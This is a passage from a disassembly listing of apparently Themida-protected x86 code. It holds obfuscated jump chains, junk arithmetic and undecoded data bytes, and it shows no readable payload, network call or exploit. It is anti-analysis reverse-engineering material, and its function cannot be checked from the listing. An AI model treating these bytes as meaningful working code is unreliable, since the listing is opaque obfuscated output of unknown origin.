0E6E94140h, 58FFFF1Bh, 1522B850h, 0C73142D1h dd 0C7F78158h, 0E902C241h, 0FFFF509Fh ; --------------------------------------------------------------------------- loc_561A8C: ; CODE XREF: Themida_:0055D1F1j sub ebx, eax sub ebx, 759B6D97h pop eax add ebx, 0A004EA2Ah sub esi, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55A7F3 ; --------------------------------------------------------------------------- loc_561AB4: ; CODE XREF: Themida_:00557B0Fj mov ebp, 8582C7Eh sub ebp, 0FFFFFFFFh xor ebp, 8582C7Bh sub ebx, 390119EFh jmp loc_556410 ; --------------------------------------------------------------------------- dd 0CD2DABB8h, 0DD8F743h, 69A664A3h, 0FFB10EE9h, 8BDA01FFh dd 0C483241Ch, 5BACE904h, 87500000h, 0F757243Ch, 315F2414h dd 3C33243Ch, 3F95E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561B02: ; CODE XREF: Themida_:00568BFFj shr eax, 2 or eax, 71A67253h jmp loc_5648F0 ; --------------------------------------------------------------------------- loc_561B0F: ; CODE XREF: Themida_:0055A857j xchg edi, [esp] mov esp, [esp] jmp loc_558C23 ; --------------------------------------------------------------------------- loc_561B1A: ; CODE XREF: Themida_:005587F0j add esp, 4 add esp, 4 jmp loc_55B15D ; --------------------------------------------------------------------------- loc_561B28: ; CODE XREF: Themida_:005635A7j push 0CF7h push esp pop dword ptr [esp] jmp loc_557343 ; --------------------------------------------------------------------------- loc_561B36: ; CODE XREF: Themida_:00559F6Fj mov edx, ecx pop ecx jmp loc_559F74 ; --------------------------------------------------------------------------- dw 0BB53h dd 545AA4A7h, 0E95BDF01h, 0FFFF1A86h, 0E908E3C1h, 0FFFFC9D9h ; --------------------------------------------------------------------------- loc_561B54: ; CODE XREF: Themida_:00553C40j sub ebx, esi add ebx, 440F4AA2h pop esi sub ebx, 71521230h push edi jmp loc_55A1E0 ; --------------------------------------------------------------------------- db 46h, 0E9h, 0FEh dd 0C1000046h, 0E1E905E2h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561B77: ; CODE XREF: Themida_:005575EDj mov edi, edx pop edx inc edi or edi, 6CAE2BB5h dec edi not edi jmp loc_564331 ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch dd 2C48124h, 0E9000000h, 37CEh, 7904EF81h, 2C8B5A0Ah, 6873E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561BA6: ; CODE XREF: Themida_:00555D87j add esp, 4 sub ebp, 161A3BF5h pop edx and ecx, ebp jmp loc_5671CC ; --------------------------------------------------------------------------- loc_561BBA: ; CODE XREF: Themida_:005640AEj and al, dh pop edx push bx mov bh, al dec bh mov al, bh mov bx, [esp] add esp, 2 sub al, 0FFh shr al, 2 jmp loc_566562 ; --------------------------------------------------------------------------- dw 0C89h dd 53E6B924h, 0BD551584h, 3FAD76AFh, 29E9E909h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BEB: ; CODE XREF: Themida_:00567E77j add ebx, 43D20B0Fh mov esi, [esp] push eax jmp loc_555890 ; --------------------------------------------------------------------------- dw 0B951h dd 8A77322h, 0FF3776E9h, 148B5BFFh, 0E2895224h, 4C281h dd 0C2810000h, 4, 0E9241487h, 0FFFF62F9h, 4C6268h, 240C8900h dd 0BFE97EB1h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561C2F: ; CODE XREF: Themida_:0055D7A0j mov edi, 1504070Bh sub ecx, edi pop edi sub ecx, 6D9E8288h add eax, ecx push dword ptr [esp] pop ecx jmp loc_555508 ; --------------------------------------------------------------------------- dd 0B0240489h, 29B55100h, 59EE88h, 24048BC6h, 0BECEE952h dd 0C281FFFFh, 4, 5C241487h, 0E904EC83h, 0FFFF7924h ; --------------------------------------------------------------------------- loc_561C70: ; CODE XREF: Themida_:0055349Aj add ecx, 4 jmp loc_56196F ; --------------------------------------------------------------------------- loc_561C7B: ; CODE XREF: Themida_:005659A1j xchg ebp, [esp] mov esp, [esp] jmp loc_565F45 ; --------------------------------------------------------------------------- dw 8B66h dd 0FA682404h, 8900007Dh, 0E2892414h, 0BB85056h, 89554170h dd 24048BC6h, 0FF34B1E9h, 0F7DFF7FFh, 49CF87D7h, 65E9D1F7h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_561CB3: ; CODE XREF: Themida_:00562205j mov ebx, esp jmp loc_562A58 ; --------------------------------------------------------------------------- loc_561CBA: ; CODE XREF: Themida_:0055E087j xor edx, [esp] jmp loc_554882 ; --------------------------------------------------------------------------- loc_561CC2: ; CODE XREF: Themida_:0055BAA1j mov esp, [esp] push 1D6Ch mov [esp], ebx jmp loc_568BF4 ; --------------------------------------------------------------------------- loc_561CD2: ; CODE XREF: Themida_:00556416j add ebx, ebp add ebx, 0ED32902h add ebx, 390119EFh pop ebp add ebx, 4 xchg ebx, [esp] jmp loc_5604AB ; --------------------------------------------------------------------------- dd 0E6793BDh, 0C1C58124h, 0F7520A48h, 4437E9DDh, 24890000h dd 6662E924h, 515A0000h, 3406E9h, 22E95100h, 0C0FFFF8Dh dd 0F58003EDh, 1E68E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D1E: ; CODE XREF: Themida_:005680E2j mov ecx, [esp] push edx jmp loc_5657D0 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 24041858h, 0D28EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D36: ; CODE XREF: Themida_:0055CEC3j mov ebx, 4D2A3278h sub eax, ebx mov ebx, [esp] push ebx jmp loc_55B03C ; --------------------------------------------------------------------------- loc_561D46: ; CODE XREF: Themida_:005683FAj pop ecx mov eax, [esp] add esp, 4 add ebp, 0F5CB5AF0h and eax, ebp mov ebp, [esp] push 5B98h mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_55BE25 push dword ptr [edi+1Ch] mov ecx, [esp] push esi push esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55E8FE ; --------------------------------------------------------------------------- loc_561D97: ; CODE XREF: Themida_:00555FB9j not eax shl eax, 1 not eax add eax, 0BA4DADD4h xor [esp+4], eax push dword ptr [esp] pop eax add esp, 4 mov eax, [esp] push edi push esp pop edi push ebp mov ebp, 4 add edi, 259247E9h jmp loc_5635D2 ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 16296824h, 1C890000h, 4CECBB24h dd 0F3812A82h, 1BA67A4Ch, 0FF5B8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_561DE5: ; CODE XREF: Themida_:00567AABj add edx, 4 xchg edx, [esp] pop esp sub esp, 4 mov [esp], edx push esp pop edx jmp loc_556DDA ; --------------------------------------------------------------------------- aPg@s@ db 'G@S»@',0 align 4 dd 0EC81FB01h, 4, 0E9241489h, 0FFFFCC4Bh, 0E9241489h, 1E1Ah dd 70240481h, 5E499211h, 0FF81E4E9h, 0C68159FFh, 4, 0E9243487h dd 363Eh, 495473BBh, 81D3F74Ah, 5F36D0EBh, 8BD901AEh, 7EE9241Ch dd 81000036h, 0F94848C6h, 243C8B62h, 6485E9h db 0 ; --------------------------------------------------------------------------- loc_561E61: ; CODE XREF: Themida_:00565BF1j mov ebx, 4 jmp loc_555951 ; --------------------------------------------------------------------------- loc_561E6B: ; CODE XREF: Themida_:0055E5BDj xor ebp, 9A65F08h sub esi, 5C703320h add esi, 4C17165Ch sub esi, ebp sub esi, 4C17165Ch add esi, 5C703320h mov ebp, [esp] add esp, 4 and eax, esi mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 push ebx jmp loc_566711 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 5453241Ch, 4EC835Bh, 0BE243489h, 63715C1Ah dd 4405B850h, 820D7A92h, 53F3019h, 64247A31h, 0FF8157E9h db 0FFh ; --------------------------------------------------------------------------- loc_561ED5: ; CODE XREF: Themida_:0055A7FBj mov [esp], edi mov edi, 5BB875DDh add edi, 15F3F575h add esi, edi jmp loc_553738 ; --------------------------------------------------------------------------- dw 0BE56h dd 7A77286Ah, 0FF33F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_561EF5: ; CODE XREF: Themida_:0056285Fj mov ecx, esp push esi mov esi, 4 jmp loc_55ACBC ; --------------------------------------------------------------------------- dw 5954h dd 0FFF111E9h, 5BDD31FFh, 0DDF58145h, 1BB15CDh, 5269E9EEh dd 56410000h, 2395A6BEh, 3AC6E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F26: ; CODE XREF: Themida_:005531F9j mov ebx, 4C233631h and eax, ebx pop ebx jmp loc_5548B8 ; --------------------------------------------------------------------------- db 0C0h dd 505105E6h, 0FFF3AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_561F3D: ; CODE XREF: Themida_:00564BB5j mov eax, 70485842h push 7B5Eh mov [esp], edi jmp loc_565056 ; --------------------------------------------------------------------------- db 51h dd 0E1C086B1h, 0F6516607h, 59662414h, 0FFC78EE9h, 8FED81FFh dd 53B6AEFAh, 0FF8F44E9h, 241C33FFh, 33241C31h, 895C241Ch dd 54522414h, 81E9535Ah, 1FFFF8Fh, 3919E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F8A: ; CODE XREF: Themida_:0055ED36j mov eax, 4 add esi, eax mov eax, [esp] jmp loc_55E7A9 ; --------------------------------------------------------------------------- align 2 dw 5AD0h dd 0FFEC7DE9h db 0FFh ; --------------------------------------------------------------------------- loc_561FA1: ; CODE XREF: Themida_:0055B6C0j add edi, 4 push edi push dword ptr [esp+4] jmp loc_557EB0 ; --------------------------------------------------------------------------- loc_561FB1: ; CODE XREF: Themida_:00566A40j and dl, ah pop eax xor dl, 0Ah push ebx mov bh, 1Dh and dl, bh jmp loc_558DD1 ; --------------------------------------------------------------------------- loc_561FC1: ; CODE XREF: Themida_:00565F40j sub edi, 22281FF2h jmp loc_56284E ; --------------------------------------------------------------------------- dd 5804C483h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 4BE2434h, 2D000000h, 9992CBAh, 0BA05F001h, 0FF09992Ch dd 348B2434h, 4C48124h, 83000000h, 148904ECh, 81E28924h dd 4C2h, 4B95100h, 81000000h, 292830C2h, 0E9CA017Dh, 17EFh dd 0FC194EBAh, 814A4A2Eh, 7F23F0F2h, 39E2810Fh, 68792518h dd 3A49h, 0E9242C89h, 0FFFF3FE2h, 0E95DEB01h, 535Dh, 81240C8Bh dd 4C4h, 68C33000h, 5D4Ah, 52240C89h, 0D188C288h, 0B1E9525Ah dd 8BFFFF97h, 0C483243Ch, 4EC8304h, 0E9241C89h, 0FFFF38EBh dd 1CD5E95Ah, 0CD310000h, 0D6E9h, 240C3100h, 0FF1DC7E9h dd 2C77FFFFh, 0FF100CE9h, 2E1C1FFh, 0FF8E41E9h, 2404FFFFh dd 0E3DE9h db 0 ; --------------------------------------------------------------------------- loc_5620A9: ; CODE XREF: Themida_:00568183j mov eax, [esp] jmp loc_560AE5 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0E8h dd 81132A75h, 2449CAF2h, 0DF2E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5620C2: ; CODE XREF: Themida_:00562B4Ej not dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_55C15D ; --------------------------------------------------------------------------- dd 2AFAE95Fh, 0D000FFFFh, 36CEE9h, 0E2895200h, 4C281h dd 0DFE90000h, 0B8000009h, 4, 3358C501h, 2C31242Ch, 242C3324h dd 0FF6AA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_562101: ; CODE XREF: Themida_:00561293j xor edx, ebp pop ebp push ebx mov ebx, 50DD4E2Dh add ebx, 873544Ch sub ebx, 0E5DD5E2Ch xor ebx, 54186A85h jmp loc_56598A ; --------------------------------------------------------------------------- db 57h, 0BFh, 36h dd 57721629h, 5F2414F7h, 6E7C147h, 4D84C781h, 5EE9858Ah dd 0F700002Ch, 33F781DFh, 4753371Ch, 63DDC781h, 0EF816DD9h dd 9C4577BDh, 3C8BFD89h, 4C48324h, 50E9EDD1h, 8BFFFF55h dd 44E9240Ch db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562167: ; CODE XREF: Themida_:00558917j xor eax, edx xor edx, eax xor eax, edx xor edx, ecx xor ecx, edx jmp loc_55FCCB ; --------------------------------------------------------------------------- dw 0E089h dd 0FF6E02E9h db 0FFh ; --------------------------------------------------------------------------- loc_56217D: ; CODE XREF: Themida_:0056398Ej mov ebx, esp add ebx, 4 jmp loc_562D80 ; --------------------------------------------------------------------------- loc_56218A: ; CODE XREF: Themida_:00557052j mov ecx, ebx pop ebx push 260Ch mov [esp], edi mov edi, 0E821B1Ah jmp loc_5633E5 ; --------------------------------------------------------------------------- loc_56219F: ; CODE XREF: Themida_:0055A51Aj add eax, 0F4E6D45h add eax, 1858457Dh push ebp jmp loc_55EA20 ; --------------------------------------------------------------------------- db 81h dd 5238FBC5h, 0ED835E48h, 242C8702h, 489665Ch, 0EDFE924h dd 4368FFFFh, 89000070h, 0E389241Ch, 4C381h, 0EC810000h dd 4, 0E9241489h, 0FFFF104Eh, 8859C888h, 285866C7h, 805B66FEh dd 0C1E944E6h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5621F7: ; CODE XREF: Themida_:00558A7Ej add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop edi push ebx jmp loc_561CB3 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 5C242C87h, 76DFC381h, 0E9515E8Eh, 3DD5h ; --------------------------------------------------------------------------- loc_562220: ; CODE XREF: Themida_:0055E2B3j mov ebx, 45C47460h sub edx, ebx pop ebx add edx, 15371617h pop ebp xchg edx, [esp] pop esp jmp loc_5623C2 ; --------------------------------------------------------------------------- loc_562238: ; CODE XREF: Themida_:0055C6E3j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_555B19 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 0FCB1FCF2h, 5AD701DEh, 5704C783h, 70FE9h, 5F66800h dd 2C890000h, 92685624h, 5E758762h, 7EE3C681h, 10E967DBh dd 81FFFF64h, 4C7h, 5371E900h, 0F5B2FFFFh, 8058F280h, 0D40076C2h dd 44EC805Ah, 8108E4C0h, 2ECh, 1C896600h, 80B0B324h, 0DC00B1F3h dd 0C4805B66h, 32B3E993h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622B6: ; CODE XREF: Themida_:0056438Aj xor esi, [esp] mov esp, [esp] jmp loc_553DD7 ; --------------------------------------------------------------------------- db 4, 5, 5Ah dd 203FE952h, 5966FFFFh, 240C8B66h, 81E78957h, 4C7h, 2C78300h dd 5C243C87h, 0C02BB252h, 0CA8007E2h, 0EFEA80B8h, 0FF18FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5622F1: ; CODE XREF: Themida_:00559B86j mov [esp], edx mov edx, 177A5Eh sub edi, edx pop edx jmp loc_55E5C2 ; --------------------------------------------------------------------------- db 88h, 0C8h, 53h dd 0DA88C388h, 8159585Bh, 4ECh, 0AC57E900h, 0F001FFFFh dd 422F832Dh, 0BF575623h, 2DA70E0Dh, 18BE5647h, 0E96CA56Eh dd 0FFFF9DADh ; --------------------------------------------------------------------------- loc_562330: ; CODE XREF: Themida_:0055E79Bj pop ebx add esi, 593A0496h add esi, eax sub esi, 593A0496h jmp loc_55E4AE ; --------------------------------------------------------------------------- dd 0FA30ECB2h, 0FF10B2E9h, 80E581FFh, 8105C059h, 5FF382EDh dd 8BE88982h, 0C483242Ch, 0DE94004h, 5CFFFFCAh, 4C281h dd 0C2830000h, 24143304h, 0FF76F2E9h, 4A30FFFh, 0E3E99C24h dd 2DFFFF11h, 771C5013h, 1305F801h, 5F771C50h, 0B734B05h dd 2DD8014Fh, 4F0B734Bh, 9D60722Dh, 5A4F2D00h, 55525DD5h dd 4F59F2BDh, 4EDC17Dh, 2042CD81h, 6EE95B60h, 54FFFFE6h dd 7840E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623C2: ; CODE XREF: Themida_:00562233j or eax, eax jmp loc_55AF3B ; --------------------------------------------------------------------------- db 88h, 0DCh, 5Bh dd 5A58E188h, 241C8B66h, 0FF9943E9h, 74FF52FFh, 8F5A0424h dd 248B2404h, 0C8BF0F24h, 1CB768h, 24348900h, 0E955E689h dd 0FFFF199Ch, 912BC781h, 0FA018440h, 6D51685Fh, 0C890000h dd 0E9525524h, 331Fh, 2C3FC581h, 0EE81620Eh, 3260682Fh dd 915C681h, 0EE296630h, 915EE81h, 0C6816630h, 3260682Fh dd 577CE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_562436: ; CODE XREF: Themida_:0055E4D3j sub al, 1 sub al, 5Fh dec al or al, 0DAh push bx mov bl, 94h xor al, bl pop bx sub bl, al jmp loc_567B84 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h, 460468DEh dd 0FFD0315Ah, 34FF2434h, 89515A24h, 4BE56E1h, 1000000h dd 3CDAE9F1h, 1EE9FFFFh, 0FFFFFF0Ch, 669D1C77h, 24041058h dd 0C0FE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562496: ; CODE XREF: Themida_:005595F4j add esp, 4 add eax, 0C4D4AAEFh add ecx, eax push dword ptr [esp] pop eax jmp loc_55C577 ; --------------------------------------------------------------------------- loc_5624A9: ; CODE XREF: Themida_:00559028j mov [esp], ebp jmp loc_557140 ; --------------------------------------------------------------------------- db 59h, 55h, 0BDh dd 2, 2C8BEA01h, 4EC8124h, 89000000h, 0E589242Ch, 4C581h dd 0C5810000h, 4, 5C242C87h, 31241433h, 14332414h, 3CD35C24h dd 0BAE99C24h db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5624EB: ; CODE XREF: Themida_:00561806j shl ecx, 5 shr ecx, 4 xor ecx, 68713434h add ecx, 0B129E13h mov ebp, ecx pop ecx jmp loc_554490 ; --------------------------------------------------------------------------- loc_562505: ; CODE XREF: Themida_:00562793j push ebx mov ebx, 587C1494h xor edi, ebx mov ebx, [esp] add esp, 4 push 1599h jmp loc_55E02D ; --------------------------------------------------------------------------- dd 4C481h, 0C4810000h, 4, 0FFBE39E9h, 0CE895BFFh, 81D6F759h dd 0C16EE6EEh, 43C0E970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562542: ; CODE XREF: Themida_:0055702Bj pop esi sub esp, 4 mov [esp], eax mov eax, 11C11E78h push esi mov esi, 0C62053B6h xor eax, esi jmp loc_55C746 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9242489h, 0FFFFDCAFh ; --------------------------------------------------------------------------- loc_56256C: ; CODE XREF: Themida_:0055791Bj mov ebx, 4 jmp loc_554077 ; --------------------------------------------------------------------------- dw 0C681h dd 3FB548Ch, 0EE81CE01h, 3FB548Ch, 0AEB4E955h, 16E9FFFFh db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56258F: ; CODE XREF: Themida_:0055D29Ej add ebx, 137977C5h mov esi, [esp] add esp, 4 jmp loc_560506 ; --------------------------------------------------------------------------- dd 46CDEF81h, 67E95216h, 68FFFFC3h, 6AA9h, 0E9240489h dd 0FFFF24A5h, 23E95B5Eh db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625BF: ; CODE XREF: Themida_:0055913Ej pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_558352 ; --------------------------------------------------------------------------- db 0C1h dd 0E98302E1h, 1E6568FFh, 8DE90000h, 51FFFF81h, 0EC83E189h dd 0D6AEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625E6: ; CODE XREF: Themida_:00566986j push 514215E3h pop eax add eax, 8C62DEA8h mov esi, eax pop eax sub edi, esi mov esi, [esp] add esp, 4 add eax, edi mov edi, [esp] add esp, 4 add eax, 38DC34E4h add eax, 6D2C185Ch sub eax, 513C0744h add eax, edi jmp loc_557448 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0FFh dd 56FFFFFFh, 0BB4E37BEh, 8EE7E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56262E: ; CODE XREF: Themida_:005661AFj push dword ptr [esp] pop edx jmp loc_55B465 ; --------------------------------------------------------------------------- db 5Dh dd 8704C283h, 0E95C2414h, 0FFFFF37Bh, 8B243C87h, 3C892424h dd 555F5424h, 0FF8927E9h, 0BBC681FFh, 819D010Eh, 0F17DDBC7h dd 81F70144h, 0F17DDBEFh, 0FF4AE944h, 8B66FFFFh, 0EC832404h dd 240C8904h, 5653E189h, 41CFE9h db 0 ; --------------------------------------------------------------------------- loc_562681: ; CODE XREF: Themida_:0055B749j add esp, 4 sub edx, 165A43D5h add edx, eax add edx, 165A43D5h push dword ptr [esp] jmp loc_553E81 ; --------------------------------------------------------------------------- loc_56269D: ; CODE XREF: Themida_:00563FB1j mov eax, 7F257A61h xor edi, eax pop eax inc edi add edi, 16083E28h shl edi, 5 sub edi, 49493E7h mov edx, edi jmp loc_561566 ; --------------------------------------------------------------------------- loc_5626BC: ; CODE XREF: Themida_:0055C9F8j mov ebp, 144D5E10h add ebp, 0A5A7907h shl ebp, 7 push ebx mov ebx, 620D687Fh jmp loc_559CBE ; --------------------------------------------------------------------------- db 29h, 0D8h, 5Bh dd 3F631D2Dh, 4EC831Bh, 2848E9h db 0 ; --------------------------------------------------------------------------- loc_5626E5: ; CODE XREF: Themida_:00554EE3j push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] jmp loc_55FE26 ; --------------------------------------------------------------------------- loc_5626FB: ; CODE XREF: Themida_:0056189Ej xor edi, 81F43827h sub edi, 539D00C8h jmp loc_558C5D ; --------------------------------------------------------------------------- dd 55BD989h, 7AB234D0h, 0D02DC829h, 8B7AB234h, 0FF68240Ch dd 89000004h, 5954240Ch, 4C181h, 0C1810000h, 4, 0E9240C87h dd 0FFFFAD12h, 8B58C188h, 0C483241Ch, 2434FF04h, 4C4815Ah dd 51000000h, 8B240CFEh, 44E9240Ch db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56275B: ; CODE XREF: Themida_:00555BCDj add esp, 4 jmp loc_55616A ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 6719BD24h, 0BA522C4Dh, 0D3B298EBh, 0CCE9D501h dd 5B00003Eh, 0BA52F701h, 72B81FBCh, 5E5AD701h, 9D468h dd 4922E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562792: ; CODE XREF: Themida_:0055D41Cj pop edi jmp loc_562505 ; --------------------------------------------------------------------------- loc_562798: ; CODE XREF: Themida_:0056396Dj mov [esp], ebp jmp loc_554511 ; --------------------------------------------------------------------------- dd 8B240487h, 0EC832424h, 24348904h, 4BEh, 5EF10100h, 5104C183h dd 42474FFh, 83240C8Bh, 48F04C4h, 5F46E924h, 4310000h dd 3881E924h, 0DD01FFFFh, 0FF9834E9h, 0E2C680FFh, 0E9F38853h dd 0FFFF66D9h ; --------------------------------------------------------------------------- loc_5627E4: ; CODE XREF: Themida_:005539AAj push ebp push 3814h mov [esp], ecx push eax sub dword ptr [esp], 6A667644h pop ecx add ecx, 6A667644h jmp loc_558A15 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0 aBJZqsip db 'b;J]ZQé‰P',0 dw 8B00h dd 0EC83241Ch, 6E97E904h, 0DA01FFFFh, 7AC281h, 335B5C83h dd 14312414h, 24143324h, 6624248Bh, 9C2404FFh, 0FF086CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562839: ; CODE XREF: Themida_:0056767Ej add esp, 4 push 1F1Bh mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_55700B ; --------------------------------------------------------------------------- loc_56284E: ; CODE XREF: Themida_:00561FC7j add edi, eax add edi, 22281FF2h jmp loc_55A9AB ; --------------------------------------------------------------------------- loc_56285B: ; CODE XREF: Themida_:00562C88j mov esi, [esp] push ecx jmp loc_561EF5 ; --------------------------------------------------------------------------- loc_562864: ; CODE XREF: Themida_:00561169j mov esi, ebx pop ebx push dword ptr [esp] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_555F83 ; --------------------------------------------------------------------------- loc_562880: ; CODE XREF: Themida_:00558637j xchg edi, [esp] pop esp mov [esp], edx push eax mov eax, 559E0A6Eh jmp loc_5539A5 ; --------------------------------------------------------------------------- loc_562892: ; CODE XREF: Themida_:00565195j push ebp jmp loc_567F34 ; --------------------------------------------------------------------------- dd 7BE9DD29h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56289F: ; CODE XREF: Themida_:00557BE7j xor ecx, ebx xor eax, ecx xor ecx, eax jmp loc_567591 ; --------------------------------------------------------------------------- dw 3668h dd 89000066h, 0BD552424h, 4, 2451BF57h, 7C015D95h, 14E90824h dd 52000033h, 0FF342FE9h, 0CB151FFh, 0E943C980h, 11C5h ; --------------------------------------------------------------------------- loc_5628D8: ; CODE XREF: Themida_:00556CC7j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_565527 ; --------------------------------------------------------------------------- dd 8081CD80h, 0C580DDF5h, 333CE936h, 51BAFFFFh, 681B5975h dd 29696511h, 0FFC29EE9h, 0EC8356FFh, 24248904h, 4240483h dd 4C6815Eh, 83000000h, 348704C6h, 24248B24h, 6804C483h dd 30B3h, 68240489h, 134Ah, 53240C89h, 0DD88D388h, 77F0685Bh dd 1C890000h, 0E8885024h, 8858C788h, 0F028E9FCh, 0EA81FFFFh dd 7AAE62D1h, 315AE9h, 24248B00h, 0FFE852E9h, 5BDA01FFh dd 8704C283h, 0E95C2414h, 3E64h, 42474FFh, 24048F5Fh, 0E924248Bh dd 0FFFF1F48h ; --------------------------------------------------------------------------- loc_562984: ; CODE XREF: Themida_:0055CE43j shr esi, 4 xor esi, 5B212117h jmp loc_565649 ; --------------------------------------------------------------------------- loc_562992: ; CODE XREF: Themida_:0055ED23j add edi, 4 jmp loc_562C00 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 231068h, 241C8900h, 0C3815B54h, 4, 4C381h dd 1C870000h, 24248B24h, 125868h, 4E3AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5629CA: ; CODE XREF: Themida_:0055FCCFj push edx push 2E20h mov [esp], ecx mov edx, [esp] jmp loc_55A697 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 24440100h, 34FF5804h, 0C4815E24h, 4, 0FF17CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5629F5: ; CODE XREF: Themida_:0056462Aj push 17D7h jmp loc_556292 ; --------------------------------------------------------------------------- db 29h dd 0C0C181D9h, 0E92F3C6Fh, 1FC6h, 700768h, 24048900h, 73DAE954h dd 0E95CFFFFh, 4D63h ; --------------------------------------------------------------------------- loc_562A20: ; CODE XREF: Themida_:00564F09j mov [esp], edx jmp loc_563CC0 ; --------------------------------------------------------------------------- dd 0E9E8305Bh, 0FFFFF61Ch, 1C295B5Dh, 24048124h, 56011301h dd 12F2E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A42: ; CODE XREF: Themida_:0055594Cj pop ebx add esp, 4 add esp, 4 push dword ptr [esp] push dword ptr [esp] pop edi jmp loc_553C8C ; --------------------------------------------------------------------------- loc_562A58: ; CODE XREF: Themida_:00561CB5j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push eax jmp loc_5644CE ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2C18100h, 33000000h, 0C31240Ch, 240C3324h, 6624248Bh dd 2404AB0Fh, 617E99Ch, 815AFFFFh, 0F04246Ch, 29534F12h dd 0E9042454h, 6077h, 48E9CE88h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AA7: ; CODE XREF: Themida_:0055442Bj add ecx, 4EA77778h jmp loc_55CE35 ; --------------------------------------------------------------------------- dw 0C8Bh dd 22CAE924h, 5651FFFFh, 0FE2B68BEh, 5EF1892Eh, 0F5D7E951h dd 0EA81FFFFh, 4, 5C241487h, 50240C89h, 54550BB8h, 0ABF9B973h dd 0C101C485h, 72FA6858h, 3C890000h, 100BF24h, 0F93137DAh dd 57243C8Bh, 0E5E9E789h, 1FFFF3Eh, 243C8BFDh, 4C481h dd 0E9500000h, 0FFFF7A0Fh ; --------------------------------------------------------------------------- loc_562B10: ; CODE XREF: Themida_:00564A8Dj sub edx, 6C43E28h add edx, ebp add edx, 6C43E28h push ebx mov ebx, 620D2C1Ah jmp loc_5649C5 ; --------------------------------------------------------------------------- db 0F6h, 1Ch, 24h dd 573E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B32: ; CODE XREF: Themida_:005551FEj push 5A962308h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 dec ecx shr ecx, 1 push 7EF6h mov [esp], ecx jmp loc_5620C2 ; --------------------------------------------------------------------------- loc_562B53: ; CODE XREF: Themida_:00560CA2j inc eax not eax shl eax, 4 add eax, 7AD247Bh jmp loc_55D6BC ; --------------------------------------------------------------------------- db 56h dd 0F99E9h, 8BE93100h, 8957242Ch, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 0A975E95Ch, 0F181FFFFh, 16BC17AAh dd 435EE9h, 24348B00h, 4C481h, 0EB810000h, 7B9A20D7h, 241C875Fh dd 6624248Bh, 0F6E930FFh, 83FFFF04h, 554601EEh, 0B24019BDh dd 64C5815Ch, 